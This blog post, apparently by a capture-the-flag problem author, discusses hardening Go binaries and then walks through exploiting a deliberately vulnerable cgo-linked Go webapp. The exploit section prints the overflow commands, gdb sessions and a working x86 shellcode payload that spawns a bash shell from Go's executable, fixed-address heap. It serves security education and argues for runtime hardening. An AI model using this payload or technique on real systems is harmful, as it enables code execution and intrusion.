Securing and Exploiting Go Binaries
I have spent some time over the past month or so trying to use Go binaries in a secure manner and trying to exploit Go binaries and I thought it would be useful if I talked a little bit about my journey.
First, I have been working in Go for about a year now. As part of this years pCTF, I created a problem that involved exploiting a Go binary (binary and source here). I consequently had to deal with securing the binary to prevent leaking unnecessary information and had some fun playing around with exploiting a Go binary.
Securing a Go Binary
Creating a secure, production-ready Go binary was more challenging than expected. By default:
- The Go build tools include the full path to the source on the build machine in the binary.
- Go binaries helpfully print the faulting address and instruction on segmentation faults.
- The heap in Go is loaded at a fixed address and is executable.
- Go binaries are linked with full debug information.
I filed a issue suggesting the option for a compiler flag to create a hardended binary, but there has not been much interest in that yet.
Some of these problems can be mitigated with appropriate hacks. The path to the Go runtime can be changed by setting the environment variable GOROOT_FINAL before running all.bash (see this comment on the issue I filed). For user code, it takes some more work: I had to deep copy all of my source into a /tmp/build directory before compiling so that the only string was a "/tmp/build" rather than the actual path.
Some debug information can be stripped by passing -s as a command line to the linker (for example, go build -ldflags "-s" prog.go). Note that this does not remove file paths, etc from the binary. It is pretty easy to patch the Go runtime to avoid printing the faulting address and instruction, but that should probably take the form of a real change rather than a quick and dirty patch. Unfortunately, the heap to be seems executable and loaded into fixed location by design (so that closures are easier and that heap addresses do not overlap with valid unicode strings, making the garbage collector easier), so it is not clear that that will be fixed for anytime soon.
Exploiting a Go program
First things first – I did not find an exploit in the Go runtime that gave code execution. Instead, I linked the Go binary to a cgo library that had an intentional vulnerability. I had to do some work to make the cgo library exploitable. I made an explicitly vulnerabile C program and specified flags -fno-stack-protector -U_FORTIFY_SOURCE to discard modern protections. Lastly, the behavior I performed in cgo (printing a string to stdout) could have trivially been perfomed in pure Go.
However, I personally feel like Go packages use the unsafe package or are linked against full C libraries commonly enough (consider banthars package with Go bindings for OpenGl or a variety of other packages) that it is irresponsible for the Go runtime to be poorly secured out of the claim that there are no vulnerabilies in Go. Furthermore, the Go runtime should be better secured to avoid the damage from any as of yet undiscovered vulnerabilities in the Go runtime.
Going forward, I will assume that there is a vulnerability (introduced possibly by a vulnerable C library) and will focus on one interesting way to exploit it by using the Go runtime. I will specifically focus on the webapp problem used in pCTF.
The actual exploit
The Go runtime has some really interesting properties that make it fun to exploit:
- The heap is executable.
- The heap is deterministic and in a fixed location every run
- Immutable strings tend to end up on the heap
We will construct an exploit that takes advantage of all of these properties. First, we get get a vulnerability that gives us a crash.
$ ./webapp --loglevel=2 --logfmt="AAAAAAAAA%8d" --address=":$(perl -e 'print "A"x109, "BBBB"')" AAAAAAAAA 1Listening on :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB unexpected fault address 0x42424242 throw: fault [signal 0xb code=0x1 addr=0x42424242 pc=0x42424242] goroutine 1 [syscall]: levellog._Cfunc_Log(0xb736e0b0, 0xb736e0c8) /tmp/go-build279009652/levellog/_obj/_cgo_defun.c:50 +0x32 levellog.Log(0x1, 0x1883cd00, 0x7f) /tmp/go-build279009652/levellog/_obj/log.cgo1.go:126 +0x140 main.main() /tmp/build/src/webapp/main.go:21 +0x101 goroutine 2 [syscall]: created by runtime.main /usr/local/src/go/src/pkg/runtime/proc.c:221
Now that we have code execution (and we know the vulnerable function due to the helpful stack trace), we objdump the function and put a breakpoint before returning to our clobbered return address.
080624d0 <Log>: 80624d0: 81 ec 9c 00 00 00 sub $0x9c,%esp 80624d6: 8b 84 24 a4 00 00 00 mov 0xa4(%esp),%eax 80624dd: 89 9c 24 94 00 00 00 mov %ebx,0x94(%esp) 80624e4: e8 4f 00 00 00 call 8062538 <__i686.get_pc_thunk.bx> 80624e9: 81 c3 17 7b 25 00 add $0x257b17,%ebx 80624ef: 89 b4 24 98 00 00 00 mov %esi,0x98(%esp) 80624f6: 8d 74 24 10 lea 0x10(%esp),%esi 80624fa: 89 44 24 0c mov %eax,0xc(%esp) 80624fe: 8b 84 24 a0 00 00 00 mov 0xa0(%esp),%eax 8062505: 89 34 24 mov %esi,(%esp) 8062508: 89 44 24 08 mov %eax,0x8(%esp) 806250c: 8d 83 00 c3 f2 ff lea -0xd3d00(%ebx),%eax 8062512: 89 44 24 04 mov %eax,0x4(%esp) 8062516: e8 ad 6c 25 00 call 82b91c8 <sprintf@plt> 806251b: 89 34 24 mov %esi,(%esp) 806251e: e8 b5 6c 25 00 call 82b91d8 <puts@plt> 8062523: 8b 9c 24 94 00 00 00 mov 0x94(%esp),%ebx 806252a: 8b b4 24 98 00 00 00 mov 0x98(%esp),%esi 8062531: 81 c4 9c 00 00 00 add $0x9c,%esp 8062537: c3 ret
$ gdb webapp GNU gdb (Ubuntu/Linaro 7.3-0ubuntu2) 7.3-2011.08 Copyright (C) 2011 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i686-linux-gnu". For bug reporting instructions, please see: ... Reading symbols from /tmp/build/webapp...done. Loading Go Runtime support. (gdb) b *0x8062537 Breakpoint 1 at 0x8062537
We run our exploit again, and then search the heap for our string (we know that the heap is always in the range [0x18600000, 0x18900000] for this binary since Go has a deterministic heap).
(gdb) run --loglevel=2 --logfmt="AAAAAAAAA%8d" --address=":$(perl -e 'print "A"x109, "BBBB"')" Starting program: /tmp/build/webapp --loglevel=2 --logfmt="AAAAAAAAA%8d" --address=":$(perl -e 'print "A"x109, "BBBB"')" [Thread debugging using libthread_db enabled] [New Thread 0xb7ccbb70 (LWP 7869)] AAAAAAAAA 1Listening on :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Breakpoint 1, 0x08062537 in Log () (gdb) x/a $esp 0xbffff1ac: 0x42424242 (gdb) find 0x18600000, 0x18900000, 0x42424242 0x1883cd7b
So now we know that our string, which is :AAAA...AAAABBBB, is located at 0x1883cd7b - 4 - 109 = 0x1883cd0e on the heap. (Note – this is because string concatenations put strings onto the deterministic heap). But then we are done! We change string to include shell code, and then use our control flow control to jump to it.
$ ./webapp -loglevel=100 -logfmt=AAAAAAAAA%8d -address="$(perl -e ' print ":\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0e\xcd\x83\x18"')" AAAAAAAAA 1Listening on :j Xï¿½Rfh-pï¿½ï¿½Rjhh/bash/binï¿½ï¿½RQSï¿½ï¿½Í€AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÍƒ $
This exploit is interesting for a number of reasons. First of all, it works on any (32 bit) machine running the same version of Go as the attacker. This is because heap allocations end up being quite deterministic. Next, this type of exploit (jump to an object on the executable heap, such as a string put there via a string concatenation) is something that would be easy to replicate in a variety of Go binaries. Lastly, the executable heap offers an easy surface for heap sprays and other attacks. It is also easy to imagine an expoit that uses a heap overwrite to clobber a closure and get code execution.
It is also important to note that, while the vulnerability is introduced through C code, common C protections such as NX, ASLR, and libc randomization would make this binary very difficult to exploit without the use of the weak Go runtime. I wish to repeat: this binary is easily exploitable because it is a Go binary, even assuming ASLR, NX, and libc randomization.
I firmly believe that Go should consider randomizing its heap and making it no longer executable. I also think that it is imperative to provide a compiler option that hardens the binary by disabling the printing of debugging information (stack traces, faulting addresses) on program crashes and stripping debugging / package information from the binary.
Go Community Response
For anyone who is interested, the Go community’s response is here. In summary: vulnerabilities in Go are extremely unlikely so the engineering/complexity overhead required to implement any of these protections is not worth it. I respectfully disagree – vulnerabilities can come from cgo libraries or from as of yet unknown bugs in the Go runtime itself. Furthermore, I suspect that adding ASLR or NX would not require very much effort.
There are writeups of this problem available by:
Go binaries are compiled with a lot of debug info, which some people might want to strip. The Go heap is executable and deterministic, making the exploitation of the pCTF Bunyan problem relatively straightforward.